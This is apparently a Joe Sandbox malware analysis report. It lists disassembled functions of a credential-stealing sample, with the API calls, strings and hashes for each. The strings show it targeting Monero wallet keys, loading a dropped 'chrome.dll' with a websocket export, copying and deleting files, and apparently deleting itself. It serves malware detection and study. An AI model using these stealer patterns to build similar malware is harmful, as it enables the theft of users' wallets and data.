Function 00BB93F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0130E7E0,00000000,00000000,?,00BA9F71,00000000,0130E7E0,00000000), ref: 00BB93FC
lstrcpyn.KERNEL32(00E77580,0130E7E0,0130E7E0,?,00BA9F71,00000000,0130E7E0), ref: 00BB9420
lstrlen.KERNEL32(00000000,?,00BA9F71,00000000,0130E7E0), ref: 00BB9437
wsprintfA.USER32 ref: 00BB9457

Strings

%s%s, xrefs: 00BB9445

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 96b36fe65eaf1d00a3e8adae2a1843a4fc9aad8b296dff8de0f46e73d6c1e348
Instruction ID: 75307a337f3faa716e4cc7e30eb9de35bf876a73fa2538bb704a097df759d2ec
Opcode Fuzzy Hash: 96b36fe65eaf1d00a3e8adae2a1843a4fc9aad8b296dff8de0f46e73d6c1e348
Instruction Fuzzy Hash: C901DE75504208FFCB04DFA8D945EAE7BB8EB48314F108298F94DAB355D731EA44DB90

Function 00BA12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BA12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00BA12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BA12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BA12F5
RegCloseKey.ADVAPI32(?), ref: 00BA12FF

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 937257889d4805b83858086e45df6df75c7fa22982f48b3894296f287349bbff
Instruction ID: 7c16f0af8f7ab4cbe54d39a5146074c5ef2c6a22753e470d59017d76b5cb2cba
Opcode Fuzzy Hash: 937257889d4805b83858086e45df6df75c7fa22982f48b3894296f287349bbff
Instruction Fuzzy Hash: 200131B9A44309BFDB00DFE5DC49FAE77B8EB48700F004198FA59E7290D7709A448B90

Function 00BBCB7E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00BBCC1C
___crtLCMapStringA.LIBCMT ref: 00BBCC3C
___crtLCMapStringA.LIBCMT ref: 00BBCC61

Strings

, xrefs: 00BBCBC6

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 33033ca6541ea913157003c32bb7e2a59f22637abf022ac490571e03a9b9d2ea
Instruction ID: c5755937d3d5e75f87b66451a308440b10639143885992428e2612c422ec7071
Opcode Fuzzy Hash: 33033ca6541ea913157003c32bb7e2a59f22637abf022ac490571e03a9b9d2ea
Instruction Fuzzy Hash: 5A41C3B110079C5FDB31CB248D95FFBBFE8DB55704F1444E8E98A96182E2B19A44DFA0

Function 00BB68D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00BB6903

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

ShellExecuteEx.SHELL32(0000003C), ref: 00BB69C6
ExitProcess.KERNEL32 ref: 00BB69F5

Strings

<, xrefs: 00BB6979

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 69a796ea951324618e0a938ea4b94b3884f593b30bc9958a78df304c1ae45153
Instruction ID: 684d6a0a39ad44d91e66828ff95169084846d9b87498db44eb6ebd7b89d8f459
Opcode Fuzzy Hash: 69a796ea951324618e0a938ea4b94b3884f593b30bc9958a78df304c1ae45153
Instruction Fuzzy Hash: 0C31ECB1901118ABDB14EFA0DD92FEDBBB8AF44300F4041D9F21976191DFB46A88CF65

Function 00BB8950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BC0E10,00000000,?), ref: 00BB89BF
RtlAllocateHeap.NTDLL(00000000), ref: 00BB89C6
wsprintfA.USER32 ref: 00BB89E0

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Strings

%dx%d, xrefs: 00BB89D7

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 30438ad181f88fa13e0775df3f75069e305924f07fe8b2ad1fc9a4caad977187
Instruction ID: 5b77c5f0da38e754016ec42cfd05ec9e4713ae1048d2a97011ddc7573406b5d9
Opcode Fuzzy Hash: 30438ad181f88fa13e0775df3f75069e305924f07fe8b2ad1fc9a4caad977187
Instruction Fuzzy Hash: 15216DB1A44308AFDB00DF95DC45FAEBBB8FB48710F104159FA19B7290C775A940CBA0

Function 00BAA090 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00BAA098

Strings

free_result, xrefs: 00BAA0C9
connect_to_websocket, xrefs: 00BAA0B3
C:\ProgramData\chrome.dll, xrefs: 00BAA093

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: C:\ProgramData\chrome.dll$connect_to_websocket$free_result
API String ID: 1029625771-1545816527
Opcode ID: c68a05701f7511b4c6788353a68adcdb16745db2331efb7b9681ca9c94c3d3e3
Instruction ID: e099f03c890911c49917bbbc839d457a22bd7bef36bedddcd5661bbf7f4ce8cc
Opcode Fuzzy Hash: c68a05701f7511b4c6788353a68adcdb16745db2331efb7b9681ca9c94c3d3e3
Instruction Fuzzy Hash: 11F0177064C200FFD710EBA6ED49BA636E4E306304F5008A9E58DB72E0C7B499CCCB66

Function 00BB8EE0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00BB96AE,00000000), ref: 00BB8EEB
RtlAllocateHeap.NTDLL(00000000), ref: 00BB8EF2
wsprintfW.USER32 ref: 00BB8F08

Strings

%hs, xrefs: 00BB8EFF

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 03d57d401bb14edc8826c6be92c1af0fbefb2a3677f8a35e36460eca3d697e9b
Instruction ID: 791173a01ab55b14b53da82ad65214fb768601d284136862c85af6044c4584ee
Opcode Fuzzy Hash: 03d57d401bb14edc8826c6be92c1af0fbefb2a3677f8a35e36460eca3d697e9b
Instruction Fuzzy Hash: 02E08CB0A48308FFDB00DB95DD0AE6D77B8EB04301F000094FD4DA7360DA719E408B91

Function 00BAA990 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BAAA11
lstrlen.KERNEL32(00000000,00000000), ref: 00BAAB2F
lstrlen.KERNEL32(00000000), ref: 00BAADEC

Part of subcall function 00BBAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00BBAAF6

DeleteFileA.KERNEL32(00000000), ref: 00BAAE73

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 023849642c00ed5b6310ec92bb85073a32c2351ad9b2182bf49876a067c4209c
Instruction ID: 29c2c71adc69304610f6f65ad39300527fa4f82d833d54fb527538bdb514cba0
Opcode Fuzzy Hash: 023849642c00ed5b6310ec92bb85073a32c2351ad9b2182bf49876a067c4209c
Instruction Fuzzy Hash: 20E1AD72D10118ABCB14EBA4DDA2EFE77B9AF54300F5085D9F11672091EEB06A4CCB72

Function 00BAD500 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BAD581
lstrlen.KERNEL32(00000000), ref: 00BAD798
lstrlen.KERNEL32(00000000), ref: 00BAD7AC
DeleteFileA.KERNEL32(00000000), ref: 00BAD82B

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fff0078392460f85d40b9233fe93c3ef1c767ebbb716611160ce8a17026a62ff
Instruction ID: 0f413d03164c6c8e968418ad0f944f7662534a10b4d3a38b5dbfe9e775b504a3
Opcode Fuzzy Hash: fff0078392460f85d40b9233fe93c3ef1c767ebbb716611160ce8a17026a62ff
Instruction Fuzzy Hash: 1A91AC72D10108ABCF14EBA4DDA2EFE77B9AF54300F5045E9F51676091EEB06A48CB62

Function 00BAD880 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BBAA50: lstrcpy.KERNEL32(00BC0E1A,00000000), ref: 00BBAA98

Part of subcall function 00BBACC0: lstrlen.KERNEL32(?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BBACD5
Part of subcall function 00BBACC0: lstrcpy.KERNEL32(00000000), ref: 00BBAD14
Part of subcall function 00BBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00BBAD22

Part of subcall function 00BBABB0: lstrcpy.KERNEL32(?,00BC0E1A), ref: 00BBAC15

Part of subcall function 00BB8CF0: GetSystemTime.KERNEL32(00BC0E1B,0130AA18,00BC05B6,?,?,00BA13F9,?,0000001A,00BC0E1B,00000000,?,013095E8,?,\Monero\wallet.keys,00BC0E1A), ref: 00BB8D16

Part of subcall function 00BBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00BBAC82
Part of subcall function 00BBAC30: lstrcat.KERNEL32(00000000), ref: 00BBAC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BAD901
lstrlen.KERNEL32(00000000), ref: 00BADA9F
lstrlen.KERNEL32(00000000), ref: 00BADAB3
DeleteFileA.KERNEL32(00000000), ref: 00BADB32

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
